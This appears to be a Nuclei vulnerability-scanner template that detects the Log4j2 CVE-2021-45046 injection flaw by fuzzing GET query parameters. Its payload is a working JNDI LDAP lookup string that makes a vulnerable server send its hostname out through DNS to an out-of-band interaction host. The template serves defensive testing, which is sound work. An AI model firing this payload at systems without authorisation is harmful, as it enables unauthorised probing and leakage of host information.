漏洞描述
Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
id: CVE-2021-45046-DAST
info:
name: Apache Log4j2 - Remote Code Injection
author: princechaddha
severity: critical
description: Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/
- https://twitter.com/marcioalm/status/1471740771581652995
- https://logging.apache.org/log4j/2.x/
- http://www.openwall.com/lists/oss-security/2021/12/14/4
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9
cve-id: CVE-2021-45046
cwe-id: CWE-502
epss-score: 0.9434
epss-percentile: 0.9995
metadata:
max-request: 1
confidence: tenative
tags: cve,cve2021,rce,oast,log4j,injection,dast,kev
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
log4j:
- "${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}}"
fuzzing:
- part: query
fuzz:
- "{{log4j}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
extractors:
- type: regex
part: interactsh_request
group: 2
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# digest: 4a0a00473045022100c3b20f448361271f599753355c0adcc4667756e77de1f1dd580d57a25a0551f502204cbf759b20c07ff24c147f802375a32ff25b05752ec4b54704436b42bf1c5f56:922c64590222798bb761d5b6d8e72950